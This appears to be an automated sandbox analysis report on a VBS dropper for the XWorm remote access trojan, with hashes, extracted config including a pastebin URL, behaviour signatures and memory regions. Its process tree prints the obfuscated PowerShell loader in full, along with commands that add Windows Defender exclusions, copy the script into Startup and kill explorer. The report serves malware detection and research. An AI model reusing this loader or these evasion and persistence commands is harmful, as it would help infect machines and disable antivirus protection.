Analysis

  • max time kernel
    89s
  • max time network
    120s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26/03/2024, 19:33

General

  • Target

    UnbanMethod (1).vbs

  • Size

    89KB

  • MD5

    72cf206b269b2c0b9e3a601f97b9ab8e

  • SHA1

    1bc8a24ad5c25193a3c29eabf92a6ed0e3a16e85

  • SHA256

    d4822834f2b795a73ea0c7bb96ffab5cde0bd6c6416448a58bdbee2d96b205ba

  • SHA512

    cfff2a766553e77455bcc29400b62765a0eff9639720a6929fe1b27512d1a68e174907c2c49bcd57993cd0d7226815eb73af808d01377e71d1b6af59fdb92482

  • SSDEEP

    1536:U6QBB7uew9rguJQNAdoPBurCM4khS/GL6aVh4HgHH5o3zweI:U6QH7Jw9vKAd7ODkhSsZVak5o3zwL

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/MUARtvHT

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 36 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\UnbanMethod (1).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\UnbanMethod (1).vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NOTARAT.vbs'; $overangry = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $overangry = -join $overangry[-1..-$overangry.Length];[<##>AppDomain<##>]::<##>('foiningurrentDomain'.replace('foining','C'))<##>.<##>('collimateoad'.replace('collimate','L'))([Convert]::FromBase64String($overangry))<##>.<##>('sliddenntryPoint'.replace('slidden','E'))<##>.<##>('InRTUoke'.replace('RTU','v'))($Null,$Null)<##>;
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\ShibaGold'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ShibaGold'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4736
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM explorer.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2044
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM explorer.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4432
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Modifies Installed Components in the registry
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:1996
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
    1⤵
      PID:4144
    • C:\Windows\System32\oobe\UserOOBEBroker.exe
      C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
      1⤵
      • Drops file in Windows directory
      PID:2892
    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
      C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
      1⤵
        PID:3464
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:2628
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
        1⤵
          PID:4692
        • C:\Windows\system32\AUDIODG.EXE
          C:\Windows\system32\AUDIODG.EXE 0x00000000000004BC 0x00000000000004C8
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1844
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
            PID:2408
          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
            1⤵
              PID:1888
            • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
              "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
              1⤵
                PID:1312
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                1⤵
                  PID:3432

                Network

                      MITRE ATT&CK Enterprise v15

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                      Downloads

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                        Filesize

                        2KB

                        MD5

                        627073ee3ca9676911bee35548eff2b8

                        SHA1

                        4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                        SHA256

                        85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                        SHA512

                        3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        1a9fa92a4f2e2ec9e244d43a6a4f8fb9

                        SHA1

                        9910190edfaccece1dfcc1d92e357772f5dae8f7

                        SHA256

                        0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

                        SHA512

                        5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        80707036df540b6657f9d443b449e3c3

                        SHA1

                        b3e7d5d97274942164bf93c8c4b8a9b68713f46f

                        SHA256

                        6651e5f976619cef991deef61776cf43d4c4b3d7c551dd2192b647df71586ab0

                        SHA512

                        65e41e9e730fed4f7a7d3f6f35875a16948b897f87c8c70b371fd0ac7f0951814f6a75e7698665194bbc65a3665a684e7be229e7e24193b50483ae7e55eebf4f

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        55f30089624be31af328ba4e012ae45a

                        SHA1

                        121c28de7a5afe828ea395d94be8f5273817b678

                        SHA256

                        28e49da06bd64f06a4cf1a9caead354b94b4d11d5dc916a92da0ed96bad00473

                        SHA512

                        ef13cc5b22c754c7816e08b421de64bc8df527d7166e970454139410b2d381b53ebf288ec73013cdce92f0ac226d9ed5b342341db52a8cb0b85b5ad4d3090787

                      • C:\Users\Admin\AppData\Local\Packages\microsoftwindows.client.cbs_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\8KH8FA3J\www.bing[1].xml

                        Filesize

                        2KB

                        MD5

                        1979f9e07779f69fc6bf4bd4ab8c3a47

                        SHA1

                        4a37dd7ca7f295f89c5761c49504b4adbc5de20e

                        SHA256

                        d131dc08019917b4007252acf452c7eab1ac29150a178042bd9437ea2fbf352f

                        SHA512

                        0c69824ab9afbb3648e4244912e2eeed8454f7fb6d969ae6a64df3151fc97a86ec8d5b110b4f1284c2db9de23345a9296a6030e27ff03b3ce3ca0b4910d38e27

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnt2coam.qzj.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • memory/228-53-0x000001B3F9A20000-0x000001B3F9A30000-memory.dmp

                        Filesize

                        64KB

                      • memory/228-60-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/228-58-0x000001B3F9A20000-0x000001B3F9A30000-memory.dmp

                        Filesize

                        64KB

                      • memory/228-47-0x000001B3F9A20000-0x000001B3F9A30000-memory.dmp

                        Filesize

                        64KB

                      • memory/228-46-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1312-132-0x000001CCFAC90000-0x000001CCFACB0000-memory.dmp

                        Filesize

                        128KB

                      • memory/1888-109-0x0000022A7DB60000-0x0000022A7DB80000-memory.dmp

                        Filesize

                        128KB

                      • memory/2084-15-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2084-16-0x000001964F2A0000-0x000001964F2B0000-memory.dmp

                        Filesize

                        64KB

                      • memory/2084-25-0x000001964F2A0000-0x000001964F2B0000-memory.dmp

                        Filesize

                        64KB

                      • memory/2084-28-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3156-43-0x000001D45FD70000-0x000001D45FD80000-memory.dmp

                        Filesize

                        64KB

                      • memory/3156-10-0x000001D45FD70000-0x000001D45FD80000-memory.dmp

                        Filesize

                        64KB

                      • memory/3156-11-0x000001D45FD70000-0x000001D45FD80000-memory.dmp

                        Filesize

                        64KB

                      • memory/3156-12-0x000001D460210000-0x000001D460256000-memory.dmp

                        Filesize

                        280KB

                      • memory/3156-81-0x000001D4601F0000-0x000001D4601FA000-memory.dmp

                        Filesize

                        40KB

                      • memory/3156-9-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3156-40-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3156-153-0x000001D4609C0000-0x000001D4609CE000-memory.dmp

                        Filesize

                        56KB

                      • memory/3156-8-0x000001D45FDF0000-0x000001D45FE12000-memory.dmp

                        Filesize

                        136KB

                      • memory/3156-14-0x000001D4601C0000-0x000001D4601D6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3156-85-0x000001D460740000-0x000001D46094E000-memory.dmp

                        Filesize

                        2.1MB

                      • memory/3660-45-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3660-41-0x0000021D50B90000-0x0000021D50BA0000-memory.dmp

                        Filesize

                        64KB

                      • memory/3660-42-0x0000021D50B90000-0x0000021D50BA0000-memory.dmp

                        Filesize

                        64KB

                      • memory/3660-38-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/4736-74-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/4736-72-0x0000022F9BE20000-0x0000022F9BE30000-memory.dmp

                        Filesize

                        64KB

                      • memory/4736-71-0x0000022F9BE20000-0x0000022F9BE30000-memory.dmp

                        Filesize

                        64KB

                      • memory/4736-70-0x00007FF9FF260000-0x00007FF9FFD22000-memory.dmp

                        Filesize

                        10.8MB